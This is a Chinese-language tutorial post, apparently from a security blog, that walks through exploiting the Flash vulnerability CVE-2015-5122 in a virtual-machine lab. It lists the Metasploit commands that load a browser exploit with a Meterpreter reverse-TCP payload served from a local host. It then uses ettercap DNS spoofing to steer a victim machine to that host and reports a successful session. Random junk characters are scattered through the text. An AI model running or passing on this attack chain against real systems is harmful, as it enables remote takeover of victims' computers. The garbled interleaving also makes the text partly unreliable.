cve2015-5122漏洞实例演示虚拟机

admin

7 d& F+ h( J1 x6 f, o 二、cve2015-5122漏洞实例演示虚拟机

+ ~* W& x" r* p/ x0 o* ~; W

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

* {0 Z5 ~$ ?6 [+ J- h, i. w8 p' p# h

search cve-2015-5122如图： ( ^ ?8 D8 n' b; v- V% w/ c# g( b

 

7 ?! X/ R T- U7 K: @) J; D

9 \; Z ~* p3 z& D& {0 s 下面我们敲如下命令： 3 k) X7 C4 t5 J. ^1 X$ X

use exploit/multi/browser/adobe_flash_opaque_background_uaf 8 ^! p' @! T- x$ C6 s2 j

, t( m7 d9 @& x$ B+ x) [ set PAYLOAD windows/meterpreter/reverse_tcp

* V: K6 }: W& t

& d6 v5 m! g4 _6 M& { j6 x) k- w1 n set LHOST 192.168.0.109

. \( {! l' t. g( n: D

: g" c$ j- F v; a% x0 Q' C- I: M set URIPATH /                        /*根目录*/ & n; x2 |" a8 v p1 Q

8 W/ _) k2 @% R( I F9 {7 i7 ^$ k0 ^5 w( L set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 # i# o# D7 b) j/ j5 H( t, }

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

然后show options如图：

 

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
6 K6 Z3 P! u& b" N7 A 8 ]& E6 y1 i3 R

5 a/ _4 X6 k& h- n; F h e

' Y- @9 B* _1 r 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

% Z1 Z7 N; e, _/ D( h9 C

% \ t: |4 L1 E* f Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

/ ^- H7 k3 g5 l9 z/ V- m  

$ J' _; l9 n5 C% E! K0 G R& G- W6 O4 N 成功了，这时候我们断开ettercap，如图：

8 P/ g; x. v3 n- n8 D j0 @

  ! g, D0 M! q1 R; Z1 ^6 B

Screenshot如图： * k; K* m' _( j

% ]2 Z% o0 {0 A) o   & \ U9 z/ h1 x2 o' L/ k

- j' p J1 B7 E+ t) W( Z/ g